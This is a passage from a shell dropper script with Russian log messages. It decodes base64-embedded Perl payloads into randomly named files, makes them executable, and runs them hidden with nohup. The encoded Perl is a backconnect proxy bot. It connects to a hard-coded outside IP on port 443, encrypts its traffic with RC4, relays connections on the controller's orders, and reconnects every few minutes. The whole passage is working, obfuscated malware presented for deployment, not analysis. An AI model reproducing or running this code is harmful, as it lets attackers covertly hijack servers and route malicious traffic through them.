ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #16 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #16 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 17 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK 